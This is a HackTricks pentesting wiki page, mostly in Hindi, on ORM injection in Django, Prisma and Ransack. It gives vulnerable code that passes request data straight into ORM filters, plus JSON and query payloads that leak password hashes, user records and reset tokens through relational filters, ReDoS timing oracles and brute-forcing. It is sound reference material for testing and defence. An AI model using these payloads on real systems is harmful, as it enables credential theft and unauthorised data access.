hacktricks/pentesting-web/orm-injection.md

335 lines
17 KiB
Markdown
Raw Normal View History

# ORM Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Django ORM (Python)
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) यह समझाया गया है कि कैसे एक Django ORM को कमजोर बनाया जा सकता है, उदाहरण के लिए, एक कोड का उपयोग करके जैसे:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
कुछ बुनियादी API दृश्य जो उपयोगकर्ता आर्टिकल खोजने के लिए अनुरोध भेजते हैं
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
ध्यान दें कि सभी request.data (जो एक json होगा) को सीधे **डेटाबेस से ऑब्जेक्ट्स को फ़िल्टर करने** के लिए पास किया गया है। एक हमलावर अप्रत्याशित फ़िल्टर भेज सकता है ताकि उससे अपेक्षित से अधिक डेटा लीक हो सके।
उदाहरण:
* **लॉगिन:** एक साधारण लॉगिन में प्रयास करें कि उपयोगकर्ताओं के पासवर्ड लीक करें जो इसके अंदर पंजीकृत हैं।
```json
{
"username": "admin",
"password_startswith":"a"
}
```
{% hint style="danger" %}
यह संभव है कि पासवर्ड को ब्रूट-फोर्स किया जाए जब तक कि यह लीक न हो जाए।
{% endhint %}
* **संबंधात्मक फ़िल्टरिंग**: यह संभव है कि संबंधों के माध्यम से जानकारी को लीक करने के लिए यात्रा की जाए जो ऑपरेशन में उपयोग किए जाने की अपेक्षा नहीं की गई थी। उदाहरण के लिए, यदि यह संभव है कि एक उपयोगकर्ता द्वारा बनाए गए लेखों को लीक किया जा सके जिनके ये संबंध हैं: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)।
```json
{
"created_by__user__password__contains":"pass"
}
```
{% hint style="danger" %}
यह संभव है कि उन सभी उपयोगकर्ताओं का पासवर्ड खोजा जा सके जिन्होंने एक लेख बनाया है
{% endhint %}
* **Many-to-many relational filtering**: पिछले उदाहरण में हम उन उपयोगकर्ताओं के पासवर्ड नहीं खोज सके जिन्होंने एक लेख नहीं बनाया। हालाँकि, अन्य संबंधों का पालन करते हुए यह संभव है। उदाहरण: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith":"admi"
}
```
{% hint style="danger" %}
इस मामले में हम उन उपयोगकर्ताओं के विभागों में सभी उपयोगकर्ताओं को ढूंढ सकते हैं जिन्होंने लेख बनाए हैं और फिर उनके पासवर्ड लीक कर सकते हैं (पिछले json में हम केवल उपयोगकर्ता नाम लीक कर रहे हैं लेकिन फिर पासवर्ड लीक करना संभव है)।
{% endhint %}
* **उपयोगकर्ताओं के साथ Django Group और Permission के many-to-many संबंधों का दुरुपयोग**: इसके अलावा, AbstractUser मॉडल का उपयोग Django में उपयोगकर्ताओं को उत्पन्न करने के लिए किया जाता है और डिफ़ॉल्ट रूप से इस मॉडल में कुछ **Permission और Group तालिकाओं के साथ many-to-many संबंध** होते हैं। जो मूल रूप से एक उपयोगकर्ता से **अन्य उपयोगकर्ताओं तक पहुँचने का एक डिफ़ॉल्ट तरीका** है यदि वे **एक ही समूह में हैं या समान अनुमति साझा करते हैं**
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
* **फिल्टर प्रतिबंधों को बायपास करें**: उसी ब्लॉगपोस्ट ने कुछ फ़िल्टरिंग का उपयोग बायपास करने का प्रस्ताव दिया जैसे `articles = Article.objects.filter(is_secret=False, **request.data)`। यह संभव है कि हम उन लेखों को डंप करें जिनका is\_secret=True है क्योंकि हम एक संबंध से Article तालिका में वापस लूप कर सकते हैं और गैर-गोपनीय लेखों से गोपनीय लेखों को लीक कर सकते हैं क्योंकि परिणाम जुड़े हुए हैं और is\_secret फ़ील्ड गैर-गोपनीय लेख में जांची जाती है जबकि डेटा गोपनीय लेख से लीक होता है।
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
{% hint style="danger" %}
रिश्तों का दुरुपयोग करके, डेटा दिखाने के लिए बनाए गए फ़िल्टरों को भी बायपास करना संभव है।
{% endhint %}
* **Error/Time based via ReDoS**: पिछले उदाहरणों में यह अपेक्षित था कि यदि फ़िल्टरिंग काम करती है या नहीं तो विभिन्न प्रतिक्रियाएँ होंगी, ताकि इसका उपयोग ओरेकल के रूप में किया जा सके। लेकिन यह संभव है कि डेटाबेस में कुछ क्रिया की जाए और प्रतिक्रिया हमेशा एक समान हो। इस परिदृश्य में, डेटाबेस त्रुटि को नया ओरेकल प्राप्त करने के लिए बनाया जा सकता है।
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
* **SQLite**: डिफ़ॉल्ट रूप से regexp ऑपरेटर नहीं है (तीसरे पक्ष के एक्सटेंशन को लोड करने की आवश्यकता है)
* **PostgreSQL**: डिफ़ॉल्ट regex टाइमआउट नहीं है और यह बैकट्रैकिंग के प्रति कम संवेदनशील है
* **MariaDB**: regex टाइमआउट नहीं है
## Prisma ORM (NodeJS)
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
* **Full find control**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
यह निम्नलिखित सभी पोस्टों का चयन करता है जो किसी ने पासवर्ड के साथ बनाई हैं और पासवर्ड लौटाएगा:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
* **पूर्ण where क्लॉज़ नियंत्रण**:
आइए इस पर नज़र डालते हैं जहाँ हमला `where` क्लॉज़ को नियंत्रित कर सकता है:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // ORM लीक के लिए संवेदनशील
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
यह सीधे उपयोगकर्ताओं के पासवर्ड को इस तरह से फ़िल्टर करना संभव है:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
```
{% hint style="danger" %}
`startsWith` जैसे ऑपरेशनों का उपयोग करके जानकारी लीक करना संभव है।&#x20;
{% endhint %}
* **कई-से-कई संबंध फ़िल्टरिंग को बायपास करना:**&#x20;
```javascript
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
```
यह संभव है कि `Category` -\[\*..\*]-> `Article` के बीच कई-से-कई संबंधों को लूप करके प्रकाशित नहीं किए गए लेखों को लीक किया जा सके:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
यह सभी उपयोगकर्ताओं को लीक करना भी संभव है, कुछ लूप बैक कई-से-कई संबंधों का दुरुपयोग करके:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
* **Error/Timed queries**: मूल पोस्ट में आप एक बहुत विस्तृत परीक्षण सेट पढ़ सकते हैं जो समय आधारित पेलोड के साथ जानकारी लीक करने के लिए सर्वोत्तम पेलोड खोजने के लिए किए गए हैं। यह है:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
जहाँ `{CONTAINS_LIST}` 1000 स्ट्रिंग्स की एक सूची है ताकि यह सुनिश्चित किया जा सके कि **सही leak मिलने पर प्रतिक्रिया में देरी हो।**
## **Ransack (Ruby)**
ये तरकीबें [**इस पोस्ट में पाई गईं**](https://positive.security/blog/ransack-data-exfiltration)**।**
{% hint style="success" %}
**ध्यान दें कि Ransack 4.0.0.0 अब खोज योग्य विशेषताओं और संघों के लिए स्पष्ट अनुमति सूची के उपयोग को लागू करता है।**
{% endhint %}
**संवेदनशील उदाहरण:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
ध्यान दें कि क्वेरी को हमलावर द्वारा भेजे गए पैरामीटर द्वारा परिभाषित किया जाएगा। उदाहरण के लिए, रीसेट टोकन को ब्रूट-फोर्स करना संभव था:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
By brute-forcing and potentially relationships it was possible to leak more data from a database.
## References
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}